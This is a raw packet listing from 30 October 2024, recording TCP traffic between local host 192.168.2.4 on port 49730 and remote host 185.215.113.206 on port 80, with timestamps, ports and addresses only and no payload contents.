Oct 30, 2024 02:27:13.491986036 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:13.492002964 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:13.492024899 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:13.492046118 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:13.492069006 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:13.492085934 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:13.492135048 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:13.492168903 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:13.532366991 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:13.532387018 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:13.532421112 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:13.532429934 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:13.532434940 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:13.532457113 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:13.532478094 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:13.610619068 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:13.610651970 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:13.610668898 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:13.610688925 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:13.610697985 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:13.610730886 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:13.610744953 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:13.610761881 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:13.610853910 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:13.610866070 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:13.610866070 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:13.610866070 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:13.610866070 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:13.610867023 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:13.610887051 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:13.651459932 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:13.651525021 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:13.651546955 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:13.651566029 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:13.651598930 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:13.651617050 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:13.692331076 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:13.692390919 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:13.692406893 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:13.692497015 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:13.692497015 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:13.692497015 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:13.729757071 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:13.729824066 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:13.729840994 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:13.729895115 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:13.729911089 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:13.729949951 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:13.729949951 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:13.729949951 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:13.729949951 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:13.729983091 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:13.730010033 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:13.730031013 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:13.730041981 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:13.730057955 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:13.730093956 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:13.770476103 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:13.770510912 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:13.770524979 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:13.770646095 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:13.770646095 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:13.811463118 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:13.811579943 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:13.811595917 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:13.811609983 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:13.811659098 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:13.811659098 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:13.814177036 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:13.848916054 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:13.848957062 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:13.848990917 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:13.849056959 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:13.849056959 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:13.849117041 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:13.849142075 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:13.849158049 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:13.849164963 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:13.849164963 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:13.849195957 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:13.849203110 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:13.849323034 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:13.849375963 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:13.849389076 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:13.849420071 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:13.889924049 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:13.889942884 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:13.889957905 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:13.890141010 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:13.890141964 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:13.930516958 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:13.930558920 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:13.930573940 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:13.930599928 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:13.930620909 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:13.930704117 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:13.930717945 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:13.930754900 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:13.968030930 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:13.968085051 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:13.968110085 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:13.968126059 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:13.968144894 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:13.968156099 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:13.968163013 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:13.968188047 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:13.968190908 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:13.968225002 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:13.968262911 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:13.968300104 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:13.968323946 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:13.968339920 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:13.968357086 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:13.968390942 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:14.008796930 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.008843899 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:14.008866072 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.008882999 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.008908033 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:14.008935928 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:14.049649954 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.049674034 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.049689054 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.049698114 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:14.049725056 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:14.086961985 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.086999893 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.087025881 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.087027073 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:14.087049007 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:14.087058067 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:14.087162018 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.087177992 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.087201118 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:14.087209940 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:14.087220907 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.087236881 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.087259054 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:14.087274075 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:14.087363005 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.087378979 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.087394953 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.087399960 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:14.087435007 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:14.127803087 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.127846003 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.127851009 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:14.127861977 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.127883911 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:14.127907038 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:14.168664932 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.168716908 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:14.168745041 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.168760061 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.168790102 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:14.168809891 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:14.206223965 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.206267118 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.206293106 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.206309080 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.206316948 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:14.206357002 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:14.206374884 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.206392050 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.206413031 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:14.206420898 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:14.206487894 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.206504107 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.206564903 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:14.206593037 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.206609011 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.206623077 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:14.206659079 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:14.207246065 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.207304955 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:14.247008085 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.247034073 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.247051001 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.247062922 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:14.247085094 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:14.247102976 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:14.287821054 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.287857056 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.287873983 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.287883043 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:14.287895918 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:14.287916899 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:14.325280905 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.325316906 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.325329065 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.325340033 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.325345993 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:14.325361967 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:14.325368881 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.325380087 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.325419903 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:14.325593948 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.325639009 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.325649977 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:14.325649977 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.325683117 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:14.325699091 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:14.325889111 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.325936079 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:14.325936079 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.325948954 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.325973988 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:14.325988054 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:14.366127014 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.366149902 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.366163969 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.366174936 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.366177082 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:14.366198063 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:14.366230011 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:14.406963110 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.407011986 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:14.407042027 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.407054901 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.407084942 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:14.407094002 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:14.444403887 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.444437027 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.444453955 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.444458008 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:14.444467068 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.444473028 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:14.444499969 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:14.444510937 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:14.444539070 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.444550991 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.444581985 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:14.444659948 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.444672108 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.444683075 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.444716930 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:14.444766045 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.444804907 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:14.445343971 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.445391893 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:14.485028028 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.485076904 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:14.485088110 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.485100985 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.485136986 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:14.485167027 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.485219955 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:14.485261917 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.485274076 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.485310078 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:14.526117086 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.526132107 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.526144028 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.526173115 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:14.526206970 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:14.563369036 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.563391924 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.563404083 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.563419104 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:14.563451052 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:14.563498974 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.563510895 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.563546896 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:14.563610077 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.563649893 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.563657999 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:14.563662052 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.563690901 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:14.563886881 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.563935041 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:14.563947916 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.563961029 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.563991070 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:14.564024925 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.564068079 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:14.604046106 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.604083061 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.604094982 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.604108095 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:14.604120970 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:14.604139090 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:14.604149103 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.604161978 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.604187012 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:14.604204893 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:14.604362011 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.604397058 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.604408026 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:14.604424953 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:14.645313978 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.645351887 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.645365000 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.645386934 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:14.645407915 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:14.691479921 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.691509008 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.691520929 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.691556931 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:14.691570044 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:14.691638947 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.691651106 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.691665888 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.691673040 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:14.691705942 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:14.691740036 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.691800117 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:14.691886902 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.691929102 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:14.691958904 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.691971064 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.692002058 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:14.723206043 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.723261118 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.723264933 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:14.723273039 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.723306894 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:14.723695993 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.723726988 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.723737955 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.723747015 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:14.723769903 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:14.764352083 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.764375925 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.764410019 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.764415979 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:14.764435053 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:14.764453888 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:14.764482975 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.764522076 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:14.810560942 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.810610056 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:14.810640097 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.810652971 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.810671091 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.810689926 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:14.810708046 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.810734987 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:14.810746908 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:14.961383104 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:14.961416006 CET	80	49730	185.215.113.206	192.168.2.4
